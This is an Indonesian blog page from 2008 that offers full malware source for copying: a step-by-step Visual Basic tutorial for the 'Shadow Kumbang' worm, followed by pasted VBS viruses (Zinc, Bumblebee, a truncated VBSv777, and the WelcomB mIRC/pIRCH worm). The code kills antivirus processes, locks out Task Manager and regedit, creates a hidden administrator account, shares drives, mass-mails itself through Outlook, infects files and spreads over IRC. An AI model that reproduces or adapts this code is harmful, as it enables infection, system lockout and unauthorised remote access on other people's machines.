Rabu, 02 April 2008

Shadow Kumbang

Cara buatnya gampang kok, Aq ajarin.. dari awal ya.. cara buatnya.. Bagi yang belum tau Visual Basic gini nih buatnya.. : a. Buka Visual Basic
b. Klik File terus New Project
c. Muncul Jendela New Project pilih Standard EXE Klik OK
d. Rubah Name Formnya di Properties jadi ShadowKumbang
e. Pada form kosong Masukin 4 komponen yang udah ada di Tool BOX Di anataranya : Timer -> Propertiesnya di Interval rubah jadi 30000 DriveListBox, -> Properties gak usah dirubah gak penting DirListBox, -> Properties gak usah dirubah gak perlu FileListBox, -> Properties gak usah dirubah bikin capek aja
f. Udah itu aja terus gimana.. ya masukin Coding Form 1 dunks..
g. Kalo udah masukin 2 Module
h. Pada Menu Bar Klik Project pilih add Module
i. Rubah name di Modulenya Mkumbang1 ama Mkumbang2
j. Kalo udah gimana
k. Ya.. tetep masuk..in dunks Codingnya hi.. hi..
l. Kalo udah juga.. Simpan Projectnya
m. Klik File Save Project
n. Rubah nama Form1 jadi ShadowKumbang terus..
o. Project1 jadi ShadowAngel
p. Kalo udah,iiih udah terus cepet amat sih…
q. Rubah nama EXE
r. Klik Project pilih ShadowAngelProperties Pilih Tab Make
s. Pada Titelnya ganti namanya jadi Shadow Kumbang
t. Kalo Udah kita buat .Exe..nya
u. Klik File pilih Make ShadowKumbang
v. Pilih tempat Simpenya..
w. Udah itu aja.. terus gimana..
x. Ya di jalan..in dunks.. EXE yang kita buat tadi
y. Udah gak ada lagi.. Kalo mau lebih jelasnya lihat aja gambar di bawah ini oke..
Taruh Coding di bawah ini Di Form :
Code:
Private Declare Function PlaySound Lib "winmm.dll" Alias "PlaySoundA" (ByVal lpszName As String, ByVal hModule As Long, ByVal dwFlags As Long) As LongConst HKLM As String = "HKEY_LOCAL_MACHINE\"Const HKCU As String = "HKEY_CURRENT_USER\"Const HKCR As String = "HKEY_CLASSES_ROOT\"Const SWP_HIDEWINDOW = &H80Const Cr = vbCrLfPrivate Sub Form_Load(): Me.Visible = False: App.TaskVisible = FalseOn Error Resume NextDim BackUpKumbang As String: BackUpKumbang = Windir & "\Kumbang.exe"If LCase(RacunKumbang) <> LCase(BackUpKumbang) Then FileCopy RacunKumbang, BackUpKumbang Shell BackUpKumbang, vbHide If InStr(RacunKumbang, ".txt.") Then Shell "notepad.exe", vbNormalFocus SendKeys "-: Salam Vxer :-" & Cr & "[- Tingkatkan Masyarakat Vxer -]" & Cr & "Thanks All Vxer" & Cr & "www.Shadow-Angel.com", 1 End If If App.EXEName = "emm386" Then Shell "iexplore.exe http://www.Shadow-Angel.com" End End IfCall MatiinAntivirusCall RegisterCall KumbangTerbangCall Infeksi_KumbangFileCopy RacunKumbang, Windir & "\Jangan Di Baca.txt.exe"FileCopy RacunKumbang, Windir & "\www.ShadowAngel.com"FileCopy RacunKumbang, Windir & "\www.yahoo.com"FileCopy RacunKumbang, Windir & "\ShadowAngel.exe"FileCopy RacunKumbang, Windir & "\notepad.com"FileCopy RacunKumbang, Windir & "\telnet.com"FileCopy RacunKumbang, Windir & "\internet.log.exe"FileCopy RacunKumbang, Windir & "\system.com"FileCopy RacunKumbang, Windir & "\kernel32.com"FileCopy RacunKumbang, Windir & "\emm386.com"FileCopy RacunKumbang, Windir & "\regedit.com"FileCopy RacunKumbang, Windir & "\paint.com"FileCopy RacunKumbang, Windir & "\winhlp32.com"FileCopy RacunKumbang, Windir & "\winhelp.com"FileCopy RacunKumbang, Windir & "\taskman.com"FileCopy RacunKumbang, Windir & "\hh.com"FileCopy RacunKumbang, Windir & "\extrac32.com"FileCopy RacunKumbang, Windir & "\ping.com"If App.PrevInstance Then End End IfEnd SubPrivate Sub Register()Dim RegRun As String, RegOpen As StringRegOpen = "file\shell\open\command"RegRun = Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(67) + Chr(117) + Chr(114) + Chr(114) + Chr(101) + Chr(110) + Chr(116) + Chr(86) + Chr(101) + Chr(114) + Chr(115) + Chr(105) + Chr(111) + Chr(110) + Chr(92) + Chr(82) + Chr(117) + Chr(110)CreatDword HKCU & Left(RegRun, 42) & "Policies\system", "DisableTaskMgr", "1"CreatString HKLM & RegRun, "VGA Task", "Kumbang.exe"CreatString HKLM & RegRun, "Windows Help Srv", "Winhelp.com"CreatString HKLM & RegRun & "Once", "System Help", "HH.com"CreatString HKLM & RegRun & "Once", "Win HELP", "winhlp32.com"CreatString HKLM & RegRun & "ServicesOnce", "System", "system.com"CreatString HKLM & RegRun & "Services", "SysPing", "ping.com"CreatString HKLM & RegRun & "Services", "INTERNET-Log", "internet.log.exe"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "DisableTaskMgr", "1"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "HideFileExt", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoUserNameInStartMenu", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoViewContextMenu", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoLogOff", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoFolderOptions", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoRun", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoFind", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\System", "DisableRegistryTools", "1"CreatDword HKCU & Left(RegRun, 42) & "Policies\System", "DisableCMD", "1"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "ShowSuperHidden", "1"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowControlPanel", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowHelp", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyComputer", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyDocs", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyMusic", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyPics", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowSearch", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "SuperHidden", "1"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowPrinters ", "0"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_LargeMFUIcons", "1"CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Hidden", "0"CreatDword HKCU & Left(RegRun, 42) & "Control Panel\Mouse", "SwapMouseButtons", "1"CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Policies", "System", "1"CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Internet Settings", "ProxyEnable", "1"CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Internet Settings", "ProxyServer", "127.0.0.1:1271"CreatDword HKCU & Left(RegRun, 42) & "Internet Explorer\Control Panel", "Connection Settings", "1"CreatDword HKCU & Left(RegRun, 42) & "Internet Explorer\Control Panel", "Connwiz Admin Lock", "1"CreatDword HKLM & RegRun & "Winlogon\SpecialAccounts\UserList", "Kumbang", "1"CreatDword HKLM & RegRun & "Services\LanmanServer\Parameters", "Hidden", "1"CreatString HKCU & RegRun, "(C) By Shadow Angel", "Kumbang.exe"CreatString HKCU & RegRun, "MSREG32 Service", "Regedit.com"CreatString HKCU & RegRun, "Win32 Service", "extrac32.com"CreatString HKCU & RegRun & "Once", "MSTelnet", "telnet.com"CreatString HKCU & "Internet Explorer\Main", "Start Page", "http://www.ShadowAngel.com"'-------------------------------------------------------------------------------------------------CreatString HKCR & "Htmlfile\shell\opennew\command", "", "emm386.com"CreatString HKCR & "MPEG" & RegOpen, "", "paint.com"CreatString HKCR & "txt" & RegOpen, "", "notepad.com"CreatString HKCR & "mp3" & RegOpen, "", "kernel32.com"CreatString HKCR & "exefile\shell\runas\command", "", "taskman.com"End SubFunction SayapKumbang(): On Error Resume NextDim a, b, f, d, g, Body, RegSet Reg = CreateObject("wscript.shell")Reg.regwrite Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(67) + Chr(85) + Chr(82) + Chr(82) + Chr(69) + Chr(78) + Chr(84) + Chr(95) + Chr(85) + Chr(83) + Chr(69) + Chr(82) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) + Chr(92) + Chr(49) + Chr(48) + Chr(46) + Chr(48) + Chr(92) + Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(92) + Chr(83) + Chr(101) + Chr(99) + Chr(117) + Chr(114) + Chr(105) + Chr(116) + Chr(121) + Chr(92) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(49) + Chr(82) + Chr(101) + Chr(109) + Chr(111) + Chr(118) + Chr(101), Chr(46) + Chr(99) + Chr(111) + Chr(109) + Chr(59) + Chr(46) + Chr(101) + Chr(120) + Chr(101)If Reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\" & Chr(73) + Chr(110) + Chr(116) + Chr(101) + Chr(114) + Chr(110) + Chr(101) + Chr(116) + Chr(32) + Chr(65) + Chr(99) + Chr(99) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(32) + Chr(77) + Chr(97) + Chr(110) + Chr(97) + Chr(103) + Chr(101) + Chr(114) + Chr(92) + Chr(65) + Chr(99) + Chr(99) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(115) + Chr(92) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(49) + Chr(92) + Chr(83) + Chr(77) + Chr(84) + Chr(80) + Chr(32) + Chr(69) + Chr(109) + Chr(97) + Chr(105) + Chr(108) + Chr(32) + Chr(65) + Chr(100) + Chr(100) + Chr(114) + Chr(101) + Chr(115) + Chr(115)) <> "" ThenBody = String(80, "=") & CrBody = Body & "Salam Vxer" & CrBody = Body & "Tingkatkan Masyarakat Vxer" & CrBody = Body & "Thanks Vxer" & CrBody = Body & String(80, "=")Set a = CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110))Set b = a.getnamespace(Chr(77) + Chr(65) + Chr(80) + Chr(73))If a = Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) Thenb.Logon "profile", "password"For f = 1 To b.addresslists.CountFor d = 1 To b.addresslists(f).addressentries.CountWith a.createitem(0) Set g = b.addresslists(f).addressentries(d) .Recipients.Add g .Subject = "Salam Vxer :)" .Body = Body .Attachments.Add Windir & "\Jangan Di Baca.txt.exe", 1, 1, "Jangan Di Baca.txt" .Attachments.Add Windir & "\www.Shadow-Angel.com", 1, 2, "http://www.Shadow-Angel.com" .Attachments.Add Windir & "\www.yahoo.com", 1, 3, "[ Yahoo ]" .Importance = 2 .DeleteAfterSubmit = True .sendEnd Withg = ""Next dNext fb.logoffEnd IfElseMsgBox "Please... atur dulu Outlooknya ya.. ", 64, "Pesan Kumbang"End IfEnd FunctionPrivate Sub Timer1_Timer(): On Error Resume NextDim Hid As LongCall MatiinAntivirusIf JaringanKumbang() = True And Me.Caption <> "ok" Then Me.Caption = "ok" Call Jalankan_Kumbang2 Call SayapKumbangEnd IfIf JaringanKumbang() = False And Me.Caption = "ok" Then Call Matiin_Kumbang2 Me.Caption = ""End IfIf Me.Caption = "ShutDown" Then Unload MeIf Day(Now) = 17 Then PlaySound Windir & "\Media\notify.wav", 1, 1 Hid = FindWindow("Shell_traywnd", "") Call SetWindowPos(Hid, 0, 0, 0, 0, 0, SWP_HIDEWINDOW) Me.Visible = True Me.Show Me.Caption = "ShutDown"End IfIf Timer1.Tag Mod 4 = 0 Then If Dir("A:\*.*") <> "" Then Call Infeksi_Kumbang2("A:") FileCopy RacunKumbang, "A:\Jangan Di Baca.txt.exe" FileCopy RacunKumbang, "A:\Game.com"End IfTimer1.Tag = Timer1.Tag + 1End SubPrivate Sub Dir1_Change()File1.Path = Dir1.PathEnd SubPrivate Sub Drive1_Change()Dir1.Path = Drive1.DriveEnd SubPrivate Sub Form_Unload(Cancel As Integer)Call Shut_DownEnd SubPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)Call Shut_DownEnd SubPublic Sub Shut_Down()nLogOff = 0nReboot = 2nForceLogOff = 4nForceReboot = 6nPowerDown = 8nForcePowerDown = 12Set oOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * from Win32_OperatingSystem")For Each oOperatingSystem In oOS oOperatingSystem.Win32Shutdown (nForceReboot)NextEnd Sub
Taruh Coding dibawah ini di Module-> Mkumbang1 :
Code:
Public Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpSFlags As Long, ByVal dwReserved As Long) As LongPrivate Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As LongDeclare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As LongDeclare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPublic Function JaringanKumbang() As BooleanJaringanKumbang = InternetGetConnectedState(0&, 0&)End FunctionPublic Function Windir() As String Dim stf As String * 255, intl As Integer intl = GetWindowsDirectory(stf, 255) Windir = (Left(stf, intl))End FunctionPublic Function CreatString(Path As String, Var As String, Val As String) As LongDim File As String: RandomizeFile = "C:\" & Int(Rnd * 100) & "reg.reg"Open File For Output As #1Print #1, "REGEDIT4"Print #1, Chr(13)Print #1, "[" & Path & "]"Print #1, Chr(13)Print #1, Chr(34) & Var & Chr(34) & "=" & Chr(34) & Val & Chr(34)Close #1Shell "regedit /s " & File, vbNormalFocusKill FileEnd FunctionPublic Function CreatDword(Path As String, Var As String, Val As String) As LongDim File As String: RandomizeFile = "C:\" & Int(Rnd * 100) & "reg.reg"Open File For Output As #1Print #1, "REGEDIT4"Print #1, Chr(13)Print #1, "[" & Path & "]"Print #1, Chr(13)Print #1, Chr(34) & Var & Chr(34) & "=" & "dword:" & ValClose #1Shell "regedit /s " & File, vbNormalFocusKill FileEnd FunctionPublic Function RacunKumbang() As StringRacunKumbang = App.PathIf Right(RacunKumbang, 1) <> "\" Then RacunKumbang = RacunKumbang & "\"If Dir(RacunKumbang & App.EXEName & ".com") <> "" Then RacunKumbang = RacunKumbang & App.EXEName & ".com"Else RacunKumbang = RacunKumbang & App.EXEName & ".exe"End IfEnd FunctionPublic Sub KumbangTerbang(): On Error Resume NextConst Regbkdr As String = "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\"CreatDword Regbkdr & "TlntSvr", "Start", "2"CreatDword Regbkdr & "TermService", "Start", "2"Open "a.bat" For Output As #1 Print #1, "@echo off" Print #2, "echo " Print #1, "Net user Shadow Kumbang pwd /add >nul" Print #1, "Net localgroup administrators Shadow Kumbang /add >nul" Print #1, "Net share drive=c: >nul" Print #1, "Net share drive=d: >nul"CloseShell "a.bat", vbHideEnd SubPublic Sub Jalankan_Kumbang2(): On Error Resume NextOpen "Mawar2.bat" For Output As #1 Print #1, "@echo off" Print #2, "echo " Print #1, "Net user Shadow Kumbang /active:yes >nul"CloseShell " Mawar2.bat", vbHideEnd SubPublic Sub Matiin_Kumbang2(): On Error Resume NextOpen "ShadowKumbang.bat" For Output As #2 Print #2, "@echo off" Print #2, "echo " Print #2, "Net user Shadow Kumbang /active:no >nul"CloseShell "ShadowKumbang.bat", vbHideEnd SubPublic Sub MatiinAntivirus()If Environ("os") <> "" Then Dim NtSp: NtSp = "NET STOP " Shell NtSp & "MCSHIELD", vbHide Shell NtSp & "NORTON ANTIVIRUS AUTO PROTECT SERVICE", vbHide Shell NtSp & "Automatic Updates", vbHide Shell NtSp & Chr(83) + Chr(104) + Chr(97) + Chr(114) + Chr(101) + Chr(100) + Chr(65) + Chr(99) + Chr(99) + Chr(101) + Chr(115) + Chr(115), vbHide Call MatiinAntivirus2End IfEnd SubPrivate Sub MatiinAntivirus2()EndTask ("McVSEscn")EndTask ("MCVSFTSN")EndTask ("MCTOOL")EndTask ("MCVSRTE")EndTask ("MCMNHDLR")EndTask ("MCAGENT")EndTask ("MCUPDATE")EndTask ("MCUPDMGR")EndTask ("NAVAPSVC")EndTask ("NAVAPW32")EndTask ("NAVDX")EndTask ("NAVLU32")EndTask ("NAVSTUB")EndTask ("NAVW32")EndTask ("NAVWNT")EndTask ("KAV")EndTask ("KAVMM")End SubPrivate Sub EndTask(Task As String)On Error Resume NextDim Cmd: Cmd = Environ("comspec") & " /c "Shell Cmd & "taskkill /f /im " & Task & ".exe /t", vbHideEnd SubTaruh Coding dibawah ini di Module->Mkumbang2 :
Code:
Public Sub Infeksi_Kumbang(): On Error Resume NextDim O, iFor O = ShadowKumbang.Drive1.ListCount To 1 Step -1 ShadowKumbang.Drive1.Drive = ShadowKumbang.Drive1.List(O) For i = 0 To ShadowKumbang.Dir1.ListCount If ShadowKumbang.Dir1.List(i) <> "" Then Infeksi_Kumbang2 (ShadowKumbang.Dir1.List(i)) FileCopy RacunKumbang, ShadowKumbang.Dir1.List(i) & "\Cerita Kumbang.com" End If NextNextEnd SubPublic Sub Infeksi_Kumbang2(Path As String)Dim Mawar As String, Duri_Mawar As String, iShadowKumbang.File1.Path = PathFor i = 0 To ShadowKumbang.File1.ListCount If ShadowKumbang.File1.List(i) <> "" Then Mawar = ShadowKumbang.File1.Path & "\" & File1.List(i) Duri_Mawar = LCase(Right(Mawar, 3)) If Duri_Mawar = "com" And InStr(Mawar, "win.com") = 0 _ And InStr(Mawar, "command.com") = 0 Then FileCopy RacunKumbang, Mawar End If If Duri_Mawar = "txt" Then FileCopy RacunKumbang, Mawar & ".exe" Kill Mawar End If If Duri_Mawar = "exe" Then FileCopy RacunKumbang, Left(Mawar, Len(Mawar) - 3) & "com" End If End IfNextEnd Sub

Diposting oleh baracrack di Rabu, April 02, 2008 0 komentar  

VBS.Zinc

md c:\GSS
if exist c:\gss goto end
echo off
@echo Silent Nights, Lonely Nights.
@echo My Lonelieness Is Killing Me.
@echo Its So Silent, So Lonely Tonight.
@echo How I Wish That You Were Here With Me.
@echo The Loneliness That Comes With The Silent Nights
@echo Would Be Better If I Were Lonely And Silent With You!
@echo
@echo ...I Fucking Love You A.E! It Would Be Worth The Silence
@echo If The Silence Were With You...
@echo
@echo off
@copy c:\windows\notepad.exe c:\windows\notepad.vbs
@del c:\windows\notepad.exe
@copy c:\windows\regedit.exe c:\windows\regedit.vbs
@del c:\windows\regedit.exe
@exit
@if not exist c:\windows\notepad.vbs goto end
@if not exist c:\windows\regedit.vbs goto end
goto end

:end
exit

Diposting oleh baracrack di Rabu, April 02, 2008 0 komentar  

nih TROJAN VBS.Bee

' Bumblebee - my first VB Script Virus
' by Bumblebee/[Hail and Kill] '99
' Feel free to use and modify it
'
on error resume next

const fdWrite=2, fdRead=1
endl=chr(13)&chr(10)

remove=endl&" This system is infected by Bumblebee.vbs Virus."&endl&endl&" Don't worry, it's a easy-to-remove virus:"&endl&endl&" . Edit all of your system .vbs files and"&endl&" delete from "&chr(39)&"-"&"@ to "&chr(39)&"-"&"@"&endl&endl&" (C) 1999 Bumblebee/[Hail and Kill] Wink"&endl&endl
hostName=Wscript.ScriptFullName

set fso=createObject("Scripting.FileSystemObject")

set myShell=createObject("WScript.Shell")
infCount=0
infCount=myShell.regRead("HKCU\infCount")
if infCount<1 then
myShell.regWrite "HKCU\infCount",1
infCount=1
end if
if infCount>10 then
desk=myShell.specialFolders("Desktop")
set fd=fso.openTextFile(desk&"\\Remove me!.txt",fdWrite,1)
fd.write remove
fd.close
end if

set fd=fso.openTextFile(hostName,fdRead)
hostCode=fd.readAll
fd.close

virusSize=inStr(4,hostCode,"-"&"@")+1

set fd=fso.openTextFile(hostName,fdRead)
virusCode=fd.read(virusSize)
fd.close

for each victim in fso.getfolder(".").files

vExt=fso.getExtensionName(victim.name)
i=0
if mid(vExt,1,1)="v" or mid(vExt,1,1)="V" then i=i+1 end if
if mid(vExt,2,1)="b" or mid(vExt,2,1)="B" then i=i+1 end if
if mid(vExt,3,1)="s" or mid(vExt,3,1)="S" then i=i+1 end if

if i=3 then
set fd=fso.openTextFile(victim.path,fdRead)
victimCode=fd.readAll
fd.close
if left(victimCode,3)<>chr(39)&"-"&"@" then
infCount=infCount+1
infectedCode=virusCode&endl&victimCode
set fd=fso.openTextFile(victim.path,fdWrite,1)
fd.write infectedCode
fd.close
end if
end if
next
myShell.regWrite "HKCU\infCount",infCount

'-@
'VBSv777


On Error Resume Next

Const cbVirusSize = 3914
Const cbForReading=1, cbForWriting=2
Const cbWindowsFolder = 0

Dim cbFSO, cbInfectionMarker, cbVictimCode, cbVirusCode
Dim cbWePath, cbWeFile, cbVictim, VictimFile
Dim cbFoldersToInfect(3), cbFolder, cbFile, cbDriveList, cbDrive
Dim cbTextFile


Set cbFSO = CreateObject("Scripting.FileSystemObject")

cbWePath = Wscript.ScriptFullName

cbFoldersToInfect(0) = "."
cbFoldersToInfect(1) = cbFSO.GetSpecialFolder(cbWindowsFolder)
cbFoldersToInfect(2) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Profiles\All Users\Desktop"
cbFoldersToInfect(3) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Profiles\Administrator\Desktop"
cbFoldersToInfect(4) = cbFSO.GetSpecialFolder(cbWindowsFolder) & "\Desktop"


Set cbWeFile=cbFSO.OpenTextFile(cbWePath, cbForReading)
cbVirusCode = cbWeFile.Read(cbVirusSize)
cbWeFile.Close


For Each cbFolder in cbFoldersToInfect
cbInfect cbFolder
Next


If Day(Now()) = 2 And Hour(Now()) = 9 Then

Set cbDriveList = cbFSO.Drives

For Each cbDrive in cbDriveList
If cbDrive.DriveType = 2 Or cbDrive.DriveType = 3 then cbRecursiveFolderScan cbDrive & "\"
Next

End If



Sub cbRecursiveFolderScan(cbTheFolder)

Dim cbMoreFolders, cbTempFolder


For Each cbFile in cbFSO.GetFolder(TheFolder).Files
If cbFSO.GetExtensionName(cbFile) = "txt" or cbFSO.GetExtensionName(cbFile) = "doc" Then

Set cbTextFile = cbFSO.OpenTextFile(cbFile, cbForWriting)
cbTextFile.WriteLine " "
cbTextFile.WriteLine " _ _ "
cbTextFile.WriteLine " |_| |_| "
cbTextFile.WriteLine " | | /^^^\ | | "
cbTextFile.WriteLi'Welcomb


'= VBS/mIRC/pIRCH.WelcomB.a =
'= by -KD- [Metaphase VX Team] & [NoMercyVirusTeam] =
'= Technology used from Code Breakers =
On Error Resume Next
Const Welcomb = 5416
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Const XWindowsFolder = 0

Dim FSO, ScrFile, Cini, InfMarker, MyCode
Dim Parent, MyWelcomb, V, VFile, EvFile
Dim FoldersToGet(2), FolderX, VCode

Set FSO = CreateObject("Scripting.FileSystemObject")
Parent = Wscript.ScriptFullName

Set Cini = FSO.OpenTextFile("c:\mirc\mirc.ini", ForAppending, True)
Cini.WriteLine "[rfiles]"
Cini.WriteLine "n100=script.ini"
Cini.Close

Set ScrFile = FSO.CreateTextFile("c:\mirc\script.ini", True)
ScrFile.WriteLine "[script]"
ScrFile.WriteLine "n0; VBS/mIRC/pIRCH WelcomB.a"
ScrFile.WriteLine "n1=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
ScrFile.WriteLine "n2= /dcc send $nick c:\WINDOWS\system\cute.vbs"
ScrFile.WriteLine "n3=}"
ScrFile.WriteLine "n4="
ScrFile.WriteLine "n5=;ON 1:PART:#:{ /if ( $nick == $me ) { halt }"
ScrFile.WriteLine "n6=/dcc send $nick c:\WINDOWS\system\cute.vbs"
ScrFile.WriteLine "n7=}"
ScrFile.WriteLine "n8="
ScrFile.WriteLine "n9=on 1:TEXT:*script.ini*:#:/.ignore $nick"
ScrFile.WriteLine "n10=on 1:TEXT:*script.ini*Question/.ignore $nick"
ScrFile.WriteLine "n11=on 1:TEXT:*virus*:#:/.ignore $nick"
ScrFile.WriteLine "n12=on 1:TEXT:*virus*Question/.ignore $nick"
ScrFile.WriteLine "n13=on 1:TEXT:*worm*:#:/.ignore $nick"
ScrFile.WriteLine "n14=on 1:TEXT:*worm*Question/.ignore $nick"
ScrFile.WriteLine "n15=on 1:TEXT:*cute*:#:/.ignore $nick"
ScrFile.WriteLine "n16=on 1:TEXT:*cute*Question/.ignore $nick"
ScrFile.WriteLine "n17=on 1:TEXT:*WelcomB*:#:/.ignore $nick"
ScrFile.WriteLine "n18=on 1:TEXT:*WelcomB*Question/.ignore $nick"
ScrFile.WriteLine "n19=on 1:QUIT:#:/msg $chan There the Teachers that taught me to hate me"
ScrFile.Close

Set EvFile = FSO.CreateTextFile("c:\WINDOWS\events.dll", True)
EvFile.WriteLine "[Levels]"
EvFile.WriteLine "Enabled=1"
EvFile.WriteLine "Count=6"
EvFile.WriteLine "Level1=000-Unknowns"
EvFile.WriteLine "000-UnknownsEnabled=1"
EvFile.WriteLine "Level2=100-Level 100"
EvFile.WriteLine "100-Level 100Enabled=1"
EvFile.WriteLine "Level3=200-Level 200"
EvFile.WriteLine "200-Level 200Enabled=1"
EvFile.WriteLine "Level4=300-Level 300"
EvFile.WriteLine "300-Level 300Enabled=1"
EvFile.WriteLine "Level5=400-Level 400"
EvFile.WriteLine "400-Level 400Enabled=1"
EvFile.WriteLine "Level6=500-Level 500"
EvFile.WriteLine "500-Level 500Enabled=1"
EvFile.WriteLine ""
EvFile.WriteLine "[000-Unknowns]"
EvFile.WriteLine "User1=*!*@*"
EvFile.WriteLine "UserCount=1"
EvFile.WriteLine "Event1=; VBS/mIRC/pIRCH WelcomB.a"
EvFile.WriteLine "Event2=ON JOIN:#:/dcc send $nick c:\WINDOWS\system\cute.vbs"
EvFile.WriteLine "Event2=ON PART:#:/dcc send $nick c:\WINDOWS\system\cute.vbs"
EvFile.WriteLine "Event3=VERSION:/notice $nick \-1 pIRCH: WelcomB by -KD- I'm Infected!!! \-1:-"
EvFile.WriteLine "Event4=ON TEXT:*WelcomB*:#:/kick # $nick pIRCH/VBS/mIRC"
EvFile.WriteLine "Event5=ON TEXT:*WelcomB*:#:/ignore # $nick"
EvFile.WriteLine "Event6=ON TEXT:*vbs*:#:/ignore # $nick"
EvFile.WriteLine "Event7=ON TEXT:*virus*:#:/ignore # $nick"
EvFile.WriteLine "Event8=ON TEXT:*worm*:#:/ignore # $nick"
EvFile.WriteLine "Event9=ON TEXT:*cute*:#:/ignore # $nick"
EvFile.WriteLine "EventCount=9"
EvFile.WriteLine ""
EvFile.WriteLine "[100-Level 100]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[200-Level 200]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[300-Level 300]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[400-Level 400]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.WriteLine ""
EvFile.WriteLine "[500-Level 500]"
EvFile.WriteLine "UserCount=0"
EvFile.WriteLine "EventCount=0"
EvFile.Close

FSO.CopyFile "c:\WINDOWS\events.dll", "c:\pirch32\events.ini"
FSO.CopyFile "c:\WINDOWS\events.dll", "c:\pirch98\events.ini"
FSO.CopyFile Parent, "c:\WINDOWS\system\cute.vbs"
FSO.CopyFile Parent, "c:\WINDOWS\Start Menu\Programs\StartUp\Startup.vbs"

If Day(Now()) = 1 or Day(Now()) = 20 Then
MsgBox "There the teacher's that taught me to hate me.", 4096 , "WelcomB"
End If

FoldersToGet(0) = "."
FoldersToGet(1) = FSO.GetSpecialFolder(XWindowsFolder)
FoldersToGet(2) = FSO.GetSpecialFolder(XWindowsFolder) & "\Desktop"
Set MyWelcomb = FSO.OpenTextFile(Parent, ForReading)
MyCode = MyWelcomb.Read(Welcomb)
MyWelcomb.Close

For Each FolderX in FoldersToGet
Catch FolderX
Next

Sub Catch(TheFolder)

For Each V in FSO.GetFolder(TheFolder).Files
If FSO.GetExtensionName(V.Name) = "vbs" then

Set VFile = FSO.OpenTextFile(V.Path,ForReading)
InfMarker = VFile.read(Cool
VFile.close

If InfMarker <> "'Welcomb" Then
Set VFile = FSO.OpenTextFile(V.path,ForReading)
VCode = VFile.ReadAll
VFile.close
VCode = MyCode & VCode
Set VFile = FSO.OpenTextFile(V.Path,ForWriting,True)
VFile.Write VCode
VFile.close
end if
end if
next
End Sub
'->'Crystal

'= VBS/pIRCH98/32.Crystal.c =
